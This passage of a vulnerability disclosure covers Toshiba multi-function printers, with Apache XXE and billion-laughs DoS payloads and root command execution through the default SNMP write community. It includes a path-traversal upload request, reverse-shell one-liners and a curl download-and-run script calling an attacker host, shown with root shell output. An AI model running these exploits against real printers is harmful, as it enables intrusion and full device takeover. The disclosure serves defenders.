3618AG, 4518A, 4518AG, 4618A, 4618AG, 5018A, 5118A, 5516AC, 5616AC, 6516AC, 6616AC, 7516AC, 7616AC, 5518A,
5618A, 6518A, 6618A, 7518A, 7618A, 8518A, 8618A, 2000AC, 2500AC, 2005NC, 2505AC, 3005AC, 3505AC, 4505AC,
5005AC, 2008A, 2508A, 3008A, 3008AG, 3508A, 3508AG, 4508A, 4508AG, 5008A, 5506AC, 6506AC, 7506AC, 5508A,
6508A, 7508A, 8508A, 3508LP, 4508LP, 5008LP.
</code></pre>
<p><em>Miscellaneous notes</em>:</p>
<p>This security assessment was entirely done using a blackbox approach and fully-remote - I only had some IPs of printers (no physical access and no credentials for admin or normal users). Consequently, the physical security of the printers was not analyzed and the vulnerabilities were confirmed with different models running the latest firmware versions (e-STUDIO2010AC, e-STUDIO3005AC, e-STUDIO3508A and e-STUDIO5018A).</p>
<p>The vulnerabilities were communicated to Toshiba on June 14, 2023 and communications with Toshiba were very effective.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise Toshiba multi-function printers (MFP) and execute code. These printers are running Linux and are powerful. They are ideal to host implants (and fun programs, like Bettercap) and move laterally inside infrastructures.</p>
<p><em>Recommendations</em></p>
<ul>
<li>Use network segmentation to isolate MFPs.</li>
<li>Apply security patches.</li>
<li>Replace unsupported MFPs.</li>
</ul>
<p><a id="pre-auth-xxe-dos"></a></p>
<h2>Details - Pre-authenticated Blind XML External Entity (XXE) injection - DoS</h2>
<p>The Toshiba printers use XML communication for the <code>/contentwebserver</code> API endpoint provided by the printer.</p>
<p>This endpoint is managed by an Apache module located inside the <code>mod_contentwebserver.so</code> library. This library provides XML parsing and is vulnerable to a time-based blind XML External Entity (XXE) vulnerability.</p>
<p>Using a Billion-laugh attack, we can confirm there is a time-based blind XXE vulnerability. When sending only 1 entity (&amp;lol1) that is defined inside the lolz root element, this &amp;lol1 entity is expanding into 10 entities and the request takes 200ms. </p>
<p>With an entity that is expanding into:</p>
<ul>
<li>10^10 entities, the request takes 206ms;</li>
<li>10^10^10 entities, the request takes 541ms;</li>
<li>10^10^10^10 entities, the request takes 2.7s;</li>
<li>10^10^10^10^2 entities, the request takes 8.8s;</li>
<li>10^10^10^10^2 entities, the request takes 30.9s;</li>
</ul>
<p>Even if the Apache server displays <code>MODULE_ERROR:SendRequest failed</code>, the XML has been successfully evaluated by the <code>mod_contentwebserver.so</code> library running in the remote printer.</p>
<p>The payload is:</p>
<pre><code>POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */* 
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.852d519a6fa9825fae857bac5c003da0
Content-Length: 759 
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS
Cookie: Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS; IgnoreSessionTimeout=1

&lt;!DOCTYPE lolz [
 &lt;!ENTITY lol "lol"&gt;
 &lt;!ELEMENT lolz (#PCDATA)&gt;
 &lt;!ENTITY lol1 "&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;"&gt;
 &lt;!ENTITY lol2 "&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;"&gt;
 &lt;!ENTITY lol3 "&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;"&gt;
 &lt;!ENTITY lol4 "&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;"&gt;
 &lt;!ENTITY lol5 "&amp;lol4;&amp;lol4;&amp;lol4;"&gt;
 &lt;!ENTITY lol6 "&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;"&gt;
 &lt;!ENTITY lol7 "&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;"&gt;
 &lt;!ENTITY lol8 "&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;"&gt;
 &lt;!ENTITY lol9 "&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;"&gt;
]&gt;
&lt;lolz&gt;&amp;lol5;&lt;/lolz&gt;
</code></pre>
<p>Using this HTTP request inside Burp (with a correct session while browsing the printer without authentication), we can modify the entity on the last line; we can see that the XML has been parsed by comparing the time required for the printer to analyze the request.</p>
<p>The time will appear inside Burp on the bottom-right of the Window (in red in the following screenshots):</p>
<p><img alt="" src="images/2024-toshiba-xxe-dos.png" /></p>
<p><a href="images/2024-toshiba-xxe-dos-full.png">Click here for full image</a></p>
<p>With 10^10^10^10^4 entity, then request takes 30 seconds.</p>
<p>HTTP requests containing more XML complexity (with a lot of XML entities to be parsed) will DoS the printer and the CPU of the printer will run at 100%.</p>
<p>The XML parser is vulnerable to XXE, without authentication.</p>
<p>Exfiltration of file over HTTP, FTP and gopher was not obtained as some protections seem to be implemented in the XML parser.</p>
<p><a id="pre-auth-xxe"></a></p>
<h2>Details - Pre-authenticated XXE injection</h2>
<p>The Toshiba printers use XML communication for the <code>/contentwebserver</code> API endpoint provided by the printer.</p>
<p>This endpoint is managed by an Apache module located inside the <code>mod_contentwebserver.so</code> library. This library provides XML parsing and is vulnerable to a XML External Entity (XXE) vulnerability.</p>
<p>Using a Billion-laugh attack and correctly formatted data for the printer (with the Toshiba-specific non-public DTD, the tags will be interpreted by the remote printer), we can confirm the presence of a XXE vulnerability. The resulting evaluated XML will be displayed by the printer:</p>
<p><img alt="" src="images/2024-toshiba-xxe.png" /></p>
<p><a href="images/2024-toshiba-xxe-full.png">Click here for full image</a></p>
<p>The malicious payload is (containing a <code>&lt;X&gt;&amp;lol4;&lt;/X&gt;</code>):</p>
<pre><code>POST /contentwebserver HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
csrfpId: 10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d
Content-Length: 1226
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/Administration/CreateNewPwd.html
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; IgnoreSessionTimeout=1; clicked=0; addrLastVisited=ADDRBK; Session=10.0.0.2.5d5255447c6eb69fc84a2d8c2056eb7d; PREF=%7BList%2C8%2CClip
boardForPage-%7D; PROGSTAT=0

&lt;!DOCTYPE lolz [
 &lt;!ENTITY lol "lol"&gt;
 &lt;!ELEMENT lolz (#PCDATA)&gt;
 &lt;!ENTITY lol1 "&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;"&gt;
 &lt;!ENTITY lol2 "&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;"&gt;
 &lt;!ENTITY lol3 "&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;"&gt;
 &lt;!ENTITY lol4 "&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;"&gt;
 &lt;!ENTITY lol5 "&amp;lol4;&amp;lol4;&amp;lol4;"&gt;
 &lt;!ENTITY lol6 "&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;"&gt;
 &lt;!ENTITY lol7 "&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;"&gt;
 &lt;!ENTITY lol8 "&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;"&gt;
 &lt;!ENTITY lol9 "&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;"&gt;
]&gt;
&lt;?xml version="1.0"?&gt;
&lt;DeviceInformationModel&gt;
  &lt;GetValue&gt;
    &lt;UserManager&gt;
      &lt;View&gt;
        &lt;Users/&gt;
      &lt;/View&gt;
    &lt;/UserManager&gt;
  &lt;/GetValue&gt;
  &lt;SetValue&gt;
    &lt;UserManager&gt;
      &lt;View&gt;
        &lt;Users&gt;
          &lt;User&gt;
            &lt;Information&gt;
              &lt;X&gt;&amp;lol4;&lt;/X&gt;
            &lt;/Information&gt;
          &lt;/User&gt;
        &lt;/Users&gt;
      &lt;/View&gt;
    &lt;/UserManager&gt;
  &lt;/SetValue&gt;
  &lt;Command&gt;
    &lt;ForgotPassword&gt;
      &lt;commandNode&gt;UserManager/Users&lt;/commandNode&gt;
      &lt;Params&gt;
        &lt;userDetails contentType="XPath"&gt;UserManager/View/Users/User&lt;/userDetails&gt;
        &lt;cmdDetails commandType="Reset"/&gt;
      &lt;/Params&gt;
    &lt;/ForgotPassword&gt;
  &lt;/Command&gt;
&lt;/DeviceInformationModel&gt;
</code></pre>
<p>And the response will be:</p>
<pre><code>HTTP/1.1 200 OK
Date: Wed, 27 May 2023 10:54:12 GMT
Server: Apache
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=63072000
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: text/xml
Content-Length: 30465

&lt;?xml version="1.0"?&gt;
&lt;DeviceInformationModel&gt;
  &lt;GetValue&gt;
    &lt;UserManager&gt;
      &lt;View&gt;
        &lt;Users&gt;
          &lt;User&gt;
            &lt;Information&gt;
              &lt;X&gt;lollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollollol[...]lollollollollol&lt;/X&gt;
            &lt;/Information&gt;
          &lt;/User&gt;
        &lt;/Users&gt;
      &lt;/View&gt;
    &lt;/UserManager&gt;
  &lt;/GetValue&gt;
  &lt;Command&gt;
    &lt;ForgotPassword&gt;
      &lt;commandNode&gt;UserManager/Users&lt;/commandNode&gt;
      &lt;Params&gt;
        &lt;userDetails contentType="XPath"&gt;UserManager/View/Users/User&lt;/userDetails&gt;
        &lt;cmdDetails commandType="Reset"/&gt;
      &lt;/Params&gt;
      &lt;Response&gt;
        &lt;statusOfOperation&gt;STATUS_FAILED&lt;/statusOfOperation&gt;
      &lt;/Response&gt;
    &lt;/ForgotPassword&gt;
  &lt;/Command&gt;
&lt;/DeviceInformationModel&gt;
kali%
</code></pre>
<p>The XML parser is vulnerable to XXE, without authentication.</p>
<p>An attacker can exploit the XXE to retrieve information.</p>
<p>Exploitability was not analyzed in depth since a RCE was found at the same time: <a href="#pre-auth-rce-snmp">Pre-authenticated Remote Code Execution as root</a>.</p>
<p><a id="pre-auth-rce-snmp"></a></p>
<h2>Details - Pre-authenticated Remote Code Execution as root</h2>
<p>It was observed that the Toshiba printers use SNMP for configuration.</p>
<p>By default, these communities are used:</p>
<ul>
<li><code>public</code> for read only access;</li>
<li><code>private</code> for read/write access.</li>
</ul>
<p>Using the <code>private</code> community, it is possible to remotely execute commands as root on the remote printer.</p>
<p>For example, these commands will execute the command <code>id</code> as root on the remote printer:</p>
<pre><code>kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip] 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c id'
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id

kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 6
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c id
NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING: 
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING: uid=0(root) gid=2000(trusted) groups=0(root)
</code></pre>
<p>Using this vulnerability will allow any attacker to get a root access on a remote Toshiba printer as shown below.</p>
<p>This following PoC will execute a connect-back shell with root privilege to 10.0.0.2:21/tcp:</p>
<pre><code>kali% snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private [ip] 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /home/SYSROM_SRC/build/release/bin/python 'nsExtendArgs."cmd"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /home/SYSROM_SRC/build/release/bin/python
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.0.0.2\",21));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"
kali% snmpbulkwalk -c private -v2c [ip] NET-SNMP-EXTEND-MIB::nsExtendObjects
</code></pre>
<p>And on the attacker machine, we will receive a shell on port 21/tcp:</p>
<pre><code>kali# nc -l -v -p 21
listening on [any] 21 ...
10.0.0.1: inverse host lookup failed: Unknown host 
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 43467
sh-4.1# uname -ap
Linux MFP12188257 3.10.38-ltsi-WR6.0.0.11_standard #3010 SMP Wed Jul 6 16:20:23 IST 2022 i686 GNU/Linux
sh-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
sh-4.1# exit
</code></pre>
<p>The attacker will then get a full root access in the printer, including full access to the encrypted partition:</p>
<pre><code>kali# nc -l -v -p 443
listening on [any] 443 ...
10.0.0.1: inverse host lookup failed: Unknown host
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36468
bash-4.1# df -h
df -h
Filesystem            Size  Used Avail Use% Mounted on
rootfs                4.8G  3.7G  904M  81% /
/dev/root              48M   28M   18M  62% /old_root
/dev/sda2             4.8G  3.7G  904M  81% /
/dev/sda13            4.8G   49M  4.5G   2% /platform
none                  1.5G  188K  1.5G   1% /dev
/dev/sda3             4.8G  1.3G  3.4G  28% /rollback
/dev/sda5              25G  904M   23G   4% /work
/dev/sda6             2.9G  620M  2.2G  23% /registration
/dev/sda7             976M  1.3M  908M   1% /backup
/dev/sda8              32G   60M   30G   1% /imagedata
/dev/sda9              94G   65M   89G   1% /application
/dev/mapper/enc_encryption
                      992M  2.6M  964M   1% /encryption
/dev/sda12            119G   60M  112G   1% /storage
tmpfs                 1.5G  3.7M  1.5G   1% /dev/shm
bash-4.1# mount
mount
rootfs on / type rootfs (rw)
/dev/root on /old_root type ext2 (rw,relatime,errors=continue,user_xattr)
proc on /old_root/proc type proc (rw,relatime)
/dev/sda2 on / type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda13 on /platform type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
none on /dev type tmpfs (rw,relatime,mode=755)
ramfs on /ramdisk type ramfs (rw,relatime,size=100m)
/dev/sda3 on /rollback type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda5 on /work type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda6 on /registration type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda7 on /backup type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda8 on /imagedata type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda9 on /application type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/mapper/enc_encryption on /encryption type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
/dev/sda12 on /storage type ext4 (rw,relatime,nodelalloc,nobarrier,data=ordered)
tmpfs on /dev/shm type tmpfs (rw,relatime,mode=755)
devpts on /dev/pts type devpts (rw,relatime,mode=600)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
bash-4.1#
</code></pre>
<p>The vulnerability is located inside net-snmpd, as net-snmpd supports the <code>NET-SNMP-EXTEND-MIB</code> extension MIB.</p>
<p>This extension allows the execution of code from the net-snmpd daemon, with root privileges, with 2 steps:</p>
<ol>
<li>Definition of a new MIB;</li>
<li>Execution of the new MIB.</li>
</ol>
<p>A bash payload is also provided:</p>
<p>This following PoC will download a shell script, save it inside <code>/dev/shm/pwn.sh</code> and execute it as root on the targeted printer:</p>
<pre><code>kali% cat /var/www/html/pwn.sh 
#!/bin/sh

bash -i &gt;&amp; /dev/tcp/10.0.0.2/443 0&gt;&amp;1

kali% cat ./remote-pwn.sh
#!/bin/sh

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "curl http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = '-c "chmod 755 /dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private $1 'nsExtendStatus."cmd"' = createAndGo 'nsExtendCommand."cmd"' = /bin/sh 'nsExtendArgs."cmd"' = ' "/dev/shm/pwn.sh"'
snmpbulkwalk -c private -v2c $1 NET-SNMP-EXTEND-MIB::nsExtendObjects
</code></pre>
<p>Using this PoC to get a connect-back root shell:</p>
<pre><code>kali% ./remote-pwn.sh 10.0.0.1
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING: -c "curl http://10.0.0.2/pwn.sh -o /dev/shm/pwn.sh"
NET-SNMP-EXTEND-MIB::nsExtendInput."cmd" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."cmd" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."cmd" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."cmd" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."cmd" = INTEGER: volatile(2)
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."cmd" = STRING:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."cmd" = STRING:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    53  100    53    0     0     53      0  0:00:01 --:--:--  0:00:01   114
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."cmd" = INTEGER: 3
NET-SNMP-EXTEND-MIB::nsExtendResult."cmd" = INTEGER: 0
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".1 = STRING:   % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
NET-SNMP-EXTEND-MIB::nsExtendOutLine."cmd".2 = STRING:                                  Dload  Upload   Total   Spent    Left  Speed
100    53  100    53    0     0     53      0  0:00:01 --:--:--  0:00:01   114
Error in packet.
Reason: inconsistentValue (The set value is illegal or unsupported in some way)
Failed object: NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd"
NET-SNMP-EXTEND-MIB::nsExtendNumEntries.0 = INTEGER: 21
NET-SNMP-EXTEND-MIB::nsExtendStatus."cmd" = INTEGER: createAndGo(4)
NET-SNMP-EXTEND-MIB::nsExtendCommand."cmd" = STRING: /bin/sh
NET-SNMP-EXTEND-MIB::nsExtendArgs."cmd" = STRING:  "/dev/shm/pwn.sh"
caTimeout: No Response from 10.0.0.1
</code></pre>
<p>And the connect-back shell script will connect to 10.0.0.2 on port 443/tcp, as defined in the previous <code>pwn.sh</code> script:</p>
<pre><code>kali# nc -l -v -p 443 
listening on [any] 443 ...                    
10.0.0.1: inverse host lookup failed: Unknown host 
connect to [10.0.0.2] from (UNKNOWN) [10.0.0.1] 36464
bash-4.1# uname -ap 
Linux MFP14144292 3.10.38-ltsi-WR6.0.0.11_standard #3513 SMP Tue Jul 5 09:58:22 IST 2022 i686 GNU/Linux
bash-4.1# id
uid=0(root) gid=2000(trusted) groups=0(root)
bash-4.1#
</code></pre>
<p>We can also review the configuration file located at <code>/encryption/al/network/config/snmpd.conf</code>, containing the default communities:</p>
<pre><code>bash-4.1# grep -v '^#' /encryption/al/network/config/snmpd.conf
rocommunity public

rocommunity6 public

rwcommunity private

rwcommunity6 private

com2sec udp       0.0.0.0/24     public

view all    included  .1                               80
view generaluser_view   excluded .1
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.23.2.1.3
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.3
view generaluser_view included .1.3.6.1.4.1.1129.2.3.50.1.3.21.4.1.4

access udpGroup                "toshibaAmerica"    v1      noauth   exact  all       all         none
access admin_priv_group              ""           usm       priv    prefix all       all         none
access admin_auth_group              ""           usm       auth    prefix all       all         none
access generaluser_priv_group        ""           usm       priv    prefix all  generaluser_view none
access generaluser_auth_group        ""           usm       auth    prefix all  generaluser_view none

trapcommunity public

dlmod  mibs_impl                        /home/SYSROM_SRC/lib/libalmibs_impl.so

master  off

agentaddress udp:161,udp6:161

authtrapenable 1

maxGetbulkRepeats 20

maxGetbulkResponses 100bash-4.1#
</code></pre>
<p>SNMP is also exposed over IPv6. </p>
<p><a id="pre-auth-rces-upload"></a></p>
<h2>Details - Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</h2>
<p>Toshiba printers provide several ways to upload files using the web interface.</p>
<p>By default, this web interface is reachable without authentication.</p>
<p>For example, using the e-filing web interface, freely reachable using http://ip:8080/?MAIN=EFILING, we can upload documents:</p>
<p><img alt="" src="images/2024-toshiba-pre-auth-upload-file-01.png" /></p>
<p><a href="images/2024-toshiba-pre-auth-upload-file-01-full.png">Click here for full image</a></p>
<p>It is possible to upload a document:</p>
<p><img alt="" src="images/2024-toshiba-pre-auth-upload-file-02.png" /></p>
<p><a href="images/2024-toshiba-pre-auth-upload-file-02-full.png">Click here for full image</a></p>
<p>The uploaded file will be stored inside the printer in the /work/al/tmp/upload/ directory, inside a directory named by the current session.</p>
<pre><code>bash-4.1# find /work/al/tmp/upload
/work/al/tmp/upload
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test3.txt
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test1.txt
/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab/test2.txt
bash-4.1# ls -latrR /work/al/tmp/upload
/work/al/tmp/upload:
total 12
drwxr-xr-x 7 root   lp      4096 Mar 24 05:35 ..
drwx------ 2 apache trusted 4096 Mar 24 05:43 ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab
drwxrwxrwx 3 root   trusted 4096 Mar 24 05:46 .

/work/al/tmp/upload/ContentWebServer_10.0.0.2.f54c69d5d2b1963325041644084615ab:
total 20
-rw-rw-rw- 1 apache trusted    8 Mar 24 05:41 test1.txt
-rw-rw-rw- 1 apache trusted    9 Mar 24 05:42 test2.txt
-rw-rw-rw- 1 apache trusted    9 Mar 24 05:43 test3.txt
drwx------ 2 apache trusted 4096 Mar 24 05:43 .
drwxrwxrwx 3 root   trusted 4096 Mar 24 05:46 ..
bash-4.1#
</code></pre>
<p>This current session is provided by the printer when visiting the web interface without authentication.</p>
<p>An attacker can replay the HTTP request with a valid session obtained while browsing http://ip/?MAIN=EFILING without authentication, and change the path to the uploaded file. This path will then be used to store the file inside the remote printer.</p>
<p>For example, with a <code>Name</code> variable set to <code>/./../../../../../home/SYSROM_SRC/sbin/malicious.program</code>, the uploaded file is correctly written into <code>/home/SYSRM_SRC/sbin/malicious.program</code> inside the printer.</p>
<p>The HTTP request will be:</p>
<pre><code>POST /contentwebserver/upload HTTP/1.1
Host: 10.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------12552735029913057752829397207
Content-Length: 1011
Origin: http://10.0.0.1:8080
Connection: close
Referer: http://10.0.0.1:8080/efiling/UploadArchive.html?v=1517352288ta
Cookie: Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DDEVICE; Session=10.0.0.2.c8a776a2c87613d78cbb94c558269c61; IgnoreSessionTimeout=3
Upgrade-Insecure-Requests: 1

-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="formSubmitCompleteEventHandler"

frames[1].formSubmitComplete
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="DeviceInformationModel"

&lt;DeviceInformationModel&gt;&lt;Command&gt;&lt;Move&gt;&lt;commandNode&gt;FileStorages&lt;/commandNode&gt;&lt;Params&gt;&lt;source&gt;&lt;File&gt;test.txt&lt;/File&gt;&lt;name&gt;Upload&lt;/name&gt;&lt;/source&gt;&lt;destination&gt;&lt;name&gt;DataImport&lt;/name&gt;&lt;/destination&gt;&lt;/Params&gt;&lt;/Move&gt;&lt;/Command&gt;&lt;/DeviceInformationModel&gt;
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="CsrfpId"

10.0.0.2.c8a776a2c87613d78cbb94c558269c61
-----------------------------12552735029913057752829397207
Content-Disposition: form-data; name="/./../../../../../home/SYSROM_SRC/sbin/malicious.program"; filename="test.txt"
Content-Type: text/plain

MALICIOUS_CONTENT_WRITTEN_INTO_THE_HARD_DISK

-----------------------------12552735029913057752829397207--
</code></pre>
<p>Burp Request:</p>
<p><img alt="" src="images/2024-toshiba-pre-auth-upload-file-03.png" /></p>
<p><a href="images/2024-toshiba-pre-auth-upload-file-03-full.png">Click here for full image</a></p>
<p>And the file is correctly written into <code>/home/SYSRM_SRC/sbin/malicious.program</code> inside the printer:</p>
<p><img alt="" src="images/2024-toshiba-pre-auth-upload-file-04.png" /></p>
